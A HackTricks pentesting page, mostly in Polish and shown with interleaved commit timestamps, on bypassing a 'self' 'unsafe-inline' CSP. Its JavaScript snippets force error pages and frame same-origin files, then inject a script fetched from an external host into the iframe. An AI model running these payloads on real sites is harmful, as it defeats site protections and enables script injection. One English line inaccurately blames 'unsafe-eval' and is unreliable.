hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

83 lines
4.6 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Wsparcie HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Konfiguracja taka jak:
2022-04-19 22:38:50 +00:00
```
2024-02-07 05:05:50 +01:00
Content-Security-Policy: default-src 'self' 'unsafe-inline';
2022-04-19 22:38:50 +00:00
```
Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
2022-04-19 22:38:50 +00:00
Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
2022-04-19 22:38:50 +00:00
### Via Text & Images
2022-04-19 22:38:50 +00:00
Zauważono, że nowoczesne przeglądarki konwertują obrazy i teksty na HTML, aby poprawić ich wyświetlanie (np. ustawianie tła, centrowanie itp.). W związku z tym, jeśli plik obrazu lub tekstu, taki jak `favicon.ico` lub `robots.txt`, jest otwierany za pomocą `iframe`, jest renderowany jako HTML. Należy zauważyć, że te strony często nie mają nagłówków CSP i mogą nie zawierać X-Frame-Options, co umożliwia wykonanie dowolnego JavaScriptu z nich:
2022-04-19 22:38:50 +00:00
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
2024-02-07 05:05:50 +01:00
script.src='//example.com/csp.js';
2022-04-19 22:38:50 +00:00
window.frames[0].document.head.appendChild(script);
```
### Via Errors
2022-04-19 22:38:50 +00:00
Podobnie, odpowiedzi błędów, takie jak pliki tekstowe lub obrazy, zazwyczaj przychodzą bez nagłówków CSP i mogą pomijać X-Frame-Options. Błędy mogą być wymuszone do załadowania w iframe, co pozwala na następujące działania:
2022-04-19 22:38:50 +00:00
```javascript
2024-02-07 05:05:50 +01:00
// Inducing an nginx error
2022-04-19 22:38:50 +00:00
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
2024-02-07 05:05:50 +01:00
// Triggering an error with a long URL
2022-04-19 22:38:50 +00:00
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
2024-02-07 05:05:50 +01:00
// Generating an error via extensive cookies
2022-04-19 22:38:50 +00:00
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
2024-02-07 05:05:50 +01:00
// Removal of cookies is crucial post-execution
2022-04-19 22:38:50 +00:00
for(var i=0;i<5;i++){document.cookie=i+"="}
```
Po wywołaniu któregokolwiek z wymienionych scenariuszy, wykonanie JavaScriptu w obrębie iframe jest możliwe w następujący sposób:
2022-04-19 22:38:50 +00:00
```javascript
script=document.createElement('script');
2024-02-07 05:05:50 +01:00
script.src='//example.com/csp.js';
2022-04-19 22:38:50 +00:00
window.frames[0].document.head.appendChild(script);
```
## Odnośniki
2022-04-19 22:38:50 +00:00
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Wsparcie HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}